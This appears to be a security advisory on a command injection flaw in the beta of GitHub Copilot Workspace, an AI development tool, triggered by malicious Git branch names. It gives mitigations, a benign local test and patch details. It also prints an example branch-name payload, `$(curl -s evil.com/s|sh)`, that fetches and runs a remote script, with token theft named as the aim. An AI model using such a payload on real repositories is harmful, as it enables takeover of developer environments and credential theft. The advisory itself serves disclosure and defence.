Command Injection in GitHub Copilot Workspace via Malicious Git Branch Names
Overview
A critical command injection vulnerability was discovered in the beta version of GitHub Copilot Workspace, a feature designed to automate development tasks by executing commands within a cloud environment. The vulnerability arose when Workspace attempted to gather context from a Git repository to understand its structure and history. To do this, it executed a series of shell commands, including `git log` and `git branch`. The output of these commands was then insecurely used to construct further shell commands. An attacker could create a malicious Git repository containing a branch name with embedded shell metacharacters, for example, `feature/fix;$(curl -s evil.com/s|sh)`. When a developer opened this repository in Copilot Workspace and initiated a task, the service would execute a command like `git show-branch feature/fix;$(curl -s evil.com/s|sh)` in a subshell. The command substitution `$(...)` would be evaluated by the shell, causing the developer's Workspace environment to download and execute a remote script. This would give the attacker full control over the developer's cloud-based development environment, allowing them to steal code, credentials (like GITHUB_TOKEN), and potentially pivot to other internal systems. The vulnerability highlighted the dangers of trusting repository metadata and the necessity of strictly validating or escaping all external input used in shell command construction.
Affected Systems
Testing Guide
1. This vulnerability was patched and is no longer present in current versions. Direct testing is not advised. 2. To understand the vulnerability pattern, you can create a local test repository (DO NOT PUSH) with a malicious branch name: `git checkout -b 'test;echo vulnerable'`. 3. In a test script, simulate the vulnerable behavior by running `branch_name='test;echo vulnerable'; some_command="git log $branch_name"`. Note that simply running `echo $some_command` is safe; the vulnerability occurs when this string is passed to a shell for execution, e.g., `bash -c "$some_command"`. 4. If 'vulnerable' is printed, it demonstrates the injection principle.
Mitigation Steps
1. Update to the latest version of the GitHub Copilot extension and ensure you are opted into the stable release channel for Workspace. 2. Audit your environment for any clones of untrusted or suspicious repositories that were opened with the affected Workspace version. 3. Rotate any secrets or credentials, such as `GITHUB_TOKEN` or other API keys, that may have been present in the Workspace environment. 4. Avoid opening repositories from unknown or untrusted sources directly in automated tools like Copilot Workspace.
Patch Details
Patched by GitHub on September 4, 2025. The fix involves using safe, parameterized APIs for interacting with Git and ensuring that any data read from a repository is properly escaped before being used in any shell context.